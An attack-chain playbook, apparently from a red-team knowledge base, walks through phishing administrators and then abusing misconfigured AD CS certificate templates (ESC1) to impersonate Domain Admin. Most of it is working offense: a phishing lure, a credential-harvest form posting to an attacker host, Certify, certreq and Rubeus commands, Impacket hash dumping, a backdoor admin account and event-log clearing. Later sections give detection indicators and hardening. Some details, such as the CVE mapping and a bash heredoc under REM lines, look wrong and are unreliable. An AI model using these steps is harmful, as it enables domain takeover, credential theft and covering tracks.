| Attribute | Details |
|---|---|
| Chain ID | CHAIN-001 |
| Attack Chain Name | Phishing to Domain Admin via Certificate Services |
| MITRE ATT&CK v18.1 | T1590 + T1649 |
| Tactic | Reconnaissance + Credential Access |
| Platforms | Windows AD |
| Severity | CRITICAL |
| CVE | CVE-2021-27239 (ADCS ESC variants) |
| Chain Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Windows Server 2016-2025 with AD CS enabled |
| Execution Time | 2-5 hours (full chain) |
| Author | SERVTEP – Artur Pchelnikau |
This attack chain demonstrates how initial reconnaissance through domain information gathering (T1590) can be weaponized via a spear-phishing campaign targeting AD CS administrators or domain users. Once credentials are obtained, the attacker exploits misconfigured Certificate Authority (CA) templates to request certificates with Subject Alternative Names (SANs) pointing to privileged accounts (Domain Admins). By obtaining a valid certificate impersonating a DA, the attacker can authenticate to domain resources without knowledge of the actual password, achieving full domain admin compromise.
CRITICAL - Full Domain Compromise. Attacker gains persistent domain admin access without triggering password change alerts. Can harvest all domain credentials, deploy ransomware, establish persistence backdoors, and compromise all on-premises and potentially hybrid cloud resources. Estimated recovery cost: €500K-€2M+ depending on scope and response time.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmarks | 5.3.8, 5.4.6 | Ensure ADCS templates restrict enrollment and require manager approval |
| DISA STIG | AD0010, AD0025 | Domain Controller hardening; Certificate Services audit logging |
| CISA SCuBA | CA-2: Certification Authority | Enforce strict CA controls and template restrictions |
| NIST 800-53 | AC-3, AU-2, SC-7 | Access enforcement; audit logging; boundary protection |
| GDPR | Art. 32, 33 | Security of processing; notification of personal data breaches |
| DORA | Art. 9, 15 | Protection and prevention; incident reporting |
| NIS2 | Art. 21 | Cyber risk management measures; identity and access controls |
| ISO 27001 | A.9.2.1, A.9.2.3, A.12.4.1 | User registration; privileged access; event logging |
| ISO 27005 | A.14.2.2 | Risk assessment of identity infrastructure changes |
| Stage | Technique ID | Step Name | Duration | Key Actions |
|---|---|---|---|---|
| Phase 1 | T1590.001 | Domain Enumeration & Reconnaissance | 30-60 min | Passive OSINT; LDAP queries; employee profiling |
| Phase 2 | T1566.002 | Spear-Phishing Campaign | 1-2 hours | Email crafting; domain spoofing; lure creation |
| Phase 3 | T1078.001 | Initial Access (Credential Theft) | 10-30 min | Victim clicks link; credentials harvested |
| Phase 4 | T1649 + T1644 | ADCS Certificate Exploitation | 1-2 hours | Certificate request; SAN abuse; certificate issuance |
| Phase 5 | T1550.003 | Kerberos PKINIT Authentication | 5-10 min | Certificate-based ticket request; DA impersonation |
| Phase 6 | T1078.002 | Domain Admin Access | Ongoing | Full DA privilege exploitation |
Objective: Identify target organization’s Active Directory domain, mail servers, DNS records, and key employees (especially ADCS admins or high-privilege users).
Command (Windows - PowerShell):
# 1. Perform nslookup to discover MX records and mail servers
nslookup -type=MX target-domain.com
# 2. Enumerate AD domain information (if attacker has internal access or via Azure AD)
Get-ADDomain -Identity "target-domain.com" | Select-Object Name, DNSRoot, DistinguishedName
# 3. Identify ADCS presence
nslookup -type=SRV _kerberos._tcp.dc._msdcs.target-domain.com
# OR
Get-ADComputer -Filter {ServicePrincipalName -like "*CertSrv*"} | Select-Object Name, ServicePrincipalName
What to Look For:
CertSrv in SPNs or DNS records)Command (Linux/Bash):
# 1. DNS enumeration
dig target-domain.com MX +short
dig _kerberos._tcp.dc._msdcs.target-domain.com SRV +short
# 2. OSINT via public sources (GitHub, DNS records, social media)
curl -s "https://crt.sh/?q=%25.target-domain.com&output=json" | jq '.[].name_value' | sort -u
# 3. Email server reconnaissance
host -t MX target-domain.com
What This Means:
Objective: Identify misconfigured certificate templates and locate DA accounts.
Command (Windows - ldapsearch / ADExplorer):
# 1. Connect to Domain and enumerate certificate templates
$DomainDN = "CN=Configuration,DC=target-domain,DC=com"
$Templates = Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,$DomainDN" `
-Filter * -Properties * | Select-Object Name, pkiEnrollmentFlag, pkiCertificateTemplate*
# 2. Identify vulnerable templates (look for User Auth + SAN abuse)
$Templates | Where-Object {$_.pkiEnrollmentFlag -band 0x2}
# 3. Find Domain Admins
Get-ADGroupMember -Identity "Domain Admins" | Select-Object Name, SamAccountName, Enabled
Expected Output:
Name pkiEnrollmentFlag
---- -----------------
User 2
Computer 2
DomainController 2
WebServer 0
What This Means:
Version Note: Command compatible with Server 2016+; Server 2019+ provides enhanced certificate auditing.
Objective: Deliver convincing phishing email to target DA/ADCS admin to steal credentials.
Phishing Email Example:
From: noreply@target-domain.com (spoofed or compromised account)
To: domain_admin@target-domain.com
Subject: URGENT: Certificate Services Renewal Required - Action Needed by EOD
Body:
Dear IT Administrator,
Our Active Directory Certificate Services infrastructure requires immediate attention.
A critical CA certificate is expiring within 7 days and requires renewal.
To complete the renewal process, please click the link below to authenticate:
https://target-domain-ca-renewal[.]top/login.html
Failure to complete this renewal may result in:
- Kerberos authentication failures
- VPN/Remote Desktop disconnections
- Email service disruptions
Please act immediately.
Regards,
IT Security Team
Phishing Landing Page Technique (Evilginx2 / Custom):
<!-- Phishing page mimics Office 365 or custom CA login -->
<form id="login" action="https://attacker-server.com/harvest.php" method="POST">
<input type="text" name="username" placeholder="Domain\\Username" required />
<input type="password" name="password" placeholder="Password" required />
<input type="hidden" name="redirect" value="https://target-domain-ca-renewal.top/success.html" />
<button type="submit">Sign In</button>
</form>
OpSec & Evasion:
target-domian.com instead of target-domain.com)Detection Likelihood: HIGH (email filtering, user awareness training)
Objective: Victim clicks phishing link and enters credentials; attacker captures username/password.
Expected Outcome:
Troubleshooting:
Objective: Once on network with stolen credentials, identify exploitable CA templates.
Command (Windows - Certify.exe):
# 1. Use Certify to enumerate ADCS infrastructure
certify.exe find /vulnerable
# Expected output shows vulnerable templates (ESC1, ESC3, ESC6, ESC8)
Sample Output:
[*] Found CA: target-domain-CA
[!] VULNERABLE - ESC1: User template allows SAN + Client Authentication
[*] Certificate Template: User
- msPKIExtendedKeyUsageOIDs: Client Authentication (1.3.6.1.5.5.7.3.2)
- msPKIEnrollmentFlag: 2 (allows enrollment)
- msPKIAllowedEnrollmentAgents: EVERYONE
- CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME: TRUE ← VULNERABLE
Command (Alternative - native certutil):
certutil -view -config "target-domain-ca\CA-NAME" -out "RequestID,Request.RequesterName,Request.StatusCode" -restrict "RequestID>=0"
# List vulnerable templates
certutil -dstemplate | findstr /C:"User"
What This Means:
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME = attacker can specify any SAN (e.g., administrator@target-domain.com)Objective: Request certificate from CA, specifying Domain Admin account as Subject Alternative Name.
Command (Windows - Certify.exe):
# 1. Request certificate with DA as SAN
certify.exe request /ca:"target-domain-ca\CA-NAME" /template:"User" /altname:"administrator@target-domain.com"
# Output: Receives a .pem/.pfx file containing the certificate
# Example: C:\Users\attacker\cert.pem
Command (Windows - Native certreq):
REM 1. Create certificate request INF file
cat > c_request.inf << EOF
[Version]
Signature="$Windows NT$"
[NewRequest]
Subject="CN=attacker,CN=Users,DC=target-domain,DC=com"
KeySpec=1
KeyLength=2048
ProviderName="Microsoft RSA SChannel Cryptographic Provider v1.0"
MachineKeySet=true
RequestType=PKCS10
[RequestAttributes]
SAN="dns=administrator.target-domain.com&upn=administrator@target-domain.com"
EOF
REM 2. Create request
certreq.exe -new c_request.inf c_request.req
REM 3. Submit to CA
certreq.exe -submit c_request.req -config "target-domain-ca\CA-NAME" -attrib "CertificateTemplate:User"
REM 4. Retrieve the issued certificate
certreq.exe -retrieve <RequestID> c_cert.cer
Command (Linux - openssl + custom submission):
# 1. Create CSR with SAN
openssl req -new -key attacker.key -out attacker.csr \
-subj "/CN=administrator/O=target-domain/C=FR" \
-config <(cat /etc/ssl/openssl.cnf <(printf "[SAN]\nsubjectAltName=upn=administrator@target-domain.com"))
# 2. Submit via Windows CA web interface (requires network access to CA web enrollment)
curl -k -X POST "http://ca-server/certsrv/certfnsh.asp" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "CertRequest=$(cat attacker.csr)&TemplateName=User"
Expected Output:
Certificate issued successfully
Cert ID: 12345
Thumbprint: A1B2C3D4E5F6...
What This Means:
administrator@target-domain.comOpSec & Evasion:
wevtutil cl "Security" /confirm:false
# Or selectively clear ADCS logs
Version Note:
Objective: Convert issued certificate to usable format (PFX/PKCS12) for Kerberos authentication.
Command (Windows - certutil):
# 1. Export certificate from local store (if auto-enrolled)
certutil -store My "administrator@target-domain.com" > c_export.cer
# 2. Convert PEM to PFX
openssl pkcs12 -export -in c_export.cer -inkey c_key.pem -out admin.pfx -passout pass:password
# 3. Verify certificate contains DA SAN
openssl x509 -in c_export.cer -text -noout | grep -A2 "Subject Alternative Name"
Expected Output:
Subject Alternative Name:
DNS: administrator.target-domain.com
RFC822: administrator@target-domain.com (UPN)
RFC822: administrator@target-domain.com (E-mail)
Command (Impacket / Linux):
# 1. Convert PEM to PFX
openssl pkcs12 -export -in admin.cer -inkey admin.key -out admin.pfx -password pass:password
# 2. Verify certificate
openssl x509 -in admin.cer -text -noout | grep -A5 "Subject:"
Objective: Use certificate to obtain Kerberos Ticket Granting Ticket (TGT) as Domain Admin.
Command (Windows - Rubeus):
# 1. Request TGT using certificate (PKINIT)
Rubeus.exe asktgt /user:administrator@target-domain.com /certificate:admin.pfx /password:password /domain:target-domain.com /dc:dc01.target-domain.com
# Output: Base64-encoded TGT
# Example: doIFoz...
Expected Output:
[+] TGT for administrator@target-domain.com obtained
[+] Session Key: A1B2C3D4E5F6...
[+] Ticket Details: TGT valid for 10 hours
Command (Linux - Impacket):
# 1. Use cert-based authentication
python3 -m impacket.getTGT -cert admin.pfx -pfx-password password -domain target-domain.com -dc-ip <DC_IP> "administrator@target-domain.com"
# 2. Export ticket
export KRB5CCNAME=administrator.ccache
Command (Linux - krb5-user / kinit):
# 1. Convert PFX to PEM
openssl pkcs12 -in admin.pfx -out admin.pem -nodes
# 2. Request TGT via PKINIT
kinit -C FILE:admin.pem administrator@target-domain.com
# 3. Verify ticket
klist
What This Means:
OpSec & Evasion:
klist purge
Objective: Use DA TGT to access any domain resource (DC, file shares, Exchange, etc.).
Command (Windows - Rubeus):
# 1. Request service ticket for Domain Controller (cifs service)
Rubeus.exe asktgs /ticket:<BASE64_TGT> /service:cifs/dc01.target-domain.com
# 2. Request LDAP service ticket
Rubeus.exe asktgs /ticket:<BASE64_TGT> /service:ldap/dc01.target-domain.com
# 3. Use ticket for remote access
.\Rubeus.exe asktgs /ticket:<BASE64_TGT> /service:host/server.target-domain.com
Command (Linux - Impacket / klist):
# 1. Set Kerberos cache
export KRB5CCNAME=administrator.ccache
# 2. Request CIFS service ticket
python3 -m impacket.getTGS -k -dc-ip <DC_IP> "target-domain.com/administrator@target-domain.com"
# 3. Access file share via SMB
python3 -m impacket.smbclient -k "//dc01.target-domain.com/C$"
Expected Outcome:
Objective: Establish persistent access and extract sensitive data.
Command (Domain Enumeration & Credential Harvesting):
# 1. Enumerate all users and dump hashes
python3 -m impacket.secretsdump -k "target-domain.com/administrator@target-domain.com" -dc-ip <DC_IP> "target-domain.com/"
# 2. Extract NTDS.dit from Domain Controller
python3 -m impacket.smbclient -k "//dc01.target-domain.com/C$" -c "get Windows/NTDS/NTDS.dit"
# 3. Create backdoor DA account
net user backdoor_admin P@ssw0rd123! /add /domain
net group "Domain Admins" backdoor_admin /add /domain
# 4. Enable persistence via DC replication (DCSync)
python3 -m impacket.secretsdump -k "target-domain.com/administrator@target-domain.com" -dc-ip <DC_IP> -just-dc "target-domain.com/"
Expected Output:
[*] Dumping domain credentials...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
Domain_Backup:501:aad3b435b51404eeaad3b435b51404ee:c7e0fc1e8fbd7e4d04c7c2b8a9f8e4d6:::
[*] All credentials extracted
Email Indicators:
noreply@target-domain.com or internal CA server namesADCS Indicators:
Kerberos Indicators:
Network Indicators:
Files & Logs:
C:\Windows\System32\winevt\Logs\Security.evtx → Event IDs 4887, 4768, 4769C:\Windows\System32\config\SAM, SECURITY → Check for new admin accountsC:\Windows\System32\CertLog\*.crt, *.crl → Certificate issuance recordsC:\Windows\System32\drivers\etc\krb5.keytab → Compromised ticketsMemory Artifacts:
lsass.exe memorycrypto::certificatesCloud Artifacts (Hybrid):
1. Disable Dangerous ADCS Features Immediately
Manual Steps (Windows Server 2016-2025):
certsrv.msc)EDITF_ATTRIBUTESUBJECTALTNAME2 (allows SAN abuse)EDITF_ATTRIBUTESUBJECTALTNAME (allows SAN for enrollment agents)Restart-Service CertSvc -Force
Manual Steps (Cert Templates Hardening):
certtmpl.msc)EVERYONE)PowerShell (Automated Mitigation):
# 1. Disable EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA
reg add "HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration" /v "EditFlags" /t REG_DWORD /d 0x8080000 /f
# 2. Restart CA service
Restart-Service CertSvc -Force
# 3. Verify change
reg query "HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration" /v EditFlags
2. Restrict ADCS Web Enrollment & Client Enrollment
Manual Steps:
PowerShell:
# 1. Disable web enrollment
Get-WebBinding | Where-Object {$_.bindingInformation -match ":80"} | Remove-WebBinding
# 2. Enable only HTTPS
netsh http add sslcert ipport=0.0.0.0:443 certhash=<THUMBPRINT> appid={...}
3. Enforce Manager Approval for All Certificate Requests
Manual Steps:
certsrv.msc)4. Enable Enhanced Auditing for Certificate Requests
Manual Steps (Group Policy):
gpmc.msc)gpupdate /force on CA serversPowerShell:
auditpol /set /subcategory:"Certification Services" /success:enable /failure:enable
5. Implement Conditional Access & MFA
Manual Steps (Azure AD / Entra ID):
Phishing-Resistant MFA for AdminsDirectory Roles → Global Administrator, Application AdministratorAll cloud appsHighRequire authentication strength → Phishing-resistant MFAOn6. Configure Phishing-Resistant MFA
Manual Steps:
All adminsPowerShell (Entra ID):
Connect-MgGraph -Scopes "AuthenticationMethod.ReadWrite.All"
# Enforce phishing-resistant MFA for Global Admins
$policy = @{
displayName = "Require phishing-resistant MFA for Global Admins"
conditions = @{
users = @{
includeRoles = @("Global Administrator", "Security Administrator")
}
applications = @{
includeApplications = @("All")
}
}
grantControls = @{
operator = "AND"
builtInControls = @("mfa")
}
}
New-MgIdentityConditionalAccessPolicy -BodyParameter $policy
7. Deploy Certificate Revocation Monitoring
Manual Steps:
Computer Configuration → Policies → Windows Settings → Security Settings → Certificate Path Validation Settings# 1. Verify EDITF_ATTRIBUTESUBJECTALTNAME2 is disabled
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration"
$flags = (Get-ItemProperty -Path $regPath).EditFlags
if ($flags -band 0x00000200) {
Write-Host "❌ VULNERABLE: EDITF_ATTRIBUTESUBJECTALTNAME2 is ENABLED"
} else {
Write-Host "✅ SECURE: SAN attribute abuse is DISABLED"
}
# 2. Verify Manager Approval is enabled on templates
$templates = Get-ADObject -Filter * -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=target-domain,DC=com" -Properties pkiEnrollmentFlag
foreach ($tmpl in $templates) {
if ($tmpl.pkiEnrollmentFlag -band 0x4) {
Write-Host "✅ $($tmpl.Name): Manager Approval REQUIRED"
} else {
Write-Host "❌ $($tmpl.Name): Manager Approval NOT REQUIRED (VULNERABLE)"
}
}
# 3. Verify MFA is enforced for admins
$policy = Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq 'Require phishing-resistant MFA for Global Admins'"
if ($policy) {
Write-Host "✅ MFA policy is in place"
} else {
Write-Host "❌ MFA policy NOT configured"
}
Expected Output (If Secure):
✅ SECURE: SAN attribute abuse is DISABLED
✅ Administrator: Manager Approval REQUIRED
✅ User: Manager Approval REQUIRED
✅ MFA policy is in place
| Step | Phase | Technique | Attack Chain |
|---|---|---|---|
| 1 | Reconnaissance | [REC-AD-001] Domain Enumeration | [CHAIN-001] Phishing to DA via Certificates |
| 2 | Initial Access | [IA-PHISH-005] Internal Spearphishing | [CHAIN-001] Phishing to DA via Certificates |
| 3 | Credential Access | [T1649] Steal Certificates | Current Phase |
| 4 | Privilege Escalation | [PE-TOKEN-003] Certificate-based Kerberos | [CHAIN-001] Phishing to DA via Certificates |
| 5 | Lateral Movement | [LM-AUTH-001] Pass-the-Ticket | Related: [CHAIN-003] Token Exfil |
| 6 | Impact | [T1531] Data Exfiltration | [CHAIN-003] Token Theft to Data Exfiltration |
certify.exe find /vulnerablerubeus.exe asktgt /user:admin /certificate:cert.pfxgetTGT.py -cert admin.pfx administrator@domain.com# Full chain execution (requires stolen credentials first)
certify.exe find /vulnerable | Out-File vulnerable.txt; `
certify.exe request /ca:"<CA_NAME>" /template:"User" /altname:"administrator@<DOMAIN>" | Out-File cert.txt; `
Rubeus.exe asktgt /user:administrator@<DOMAIN> /certificate:<CERT_FILE> /password:<CERT_PASS> | Out-File tgt.txt; `
Rubeus.exe asktgs /ticket:<BASE64_TGT> /service:cifs/dc01.<DOMAIN> | Out-File ticket.txt
# Clear event logs
wevtutil cl "Security" /confirm:false
# Remove certificates from store
Get-ChildItem -Path "Cert:\LocalMachine\My" | Where-Object {$_.Subject -match "administrator"} | Remove-Item
# Clear Kerberos cache
klist purge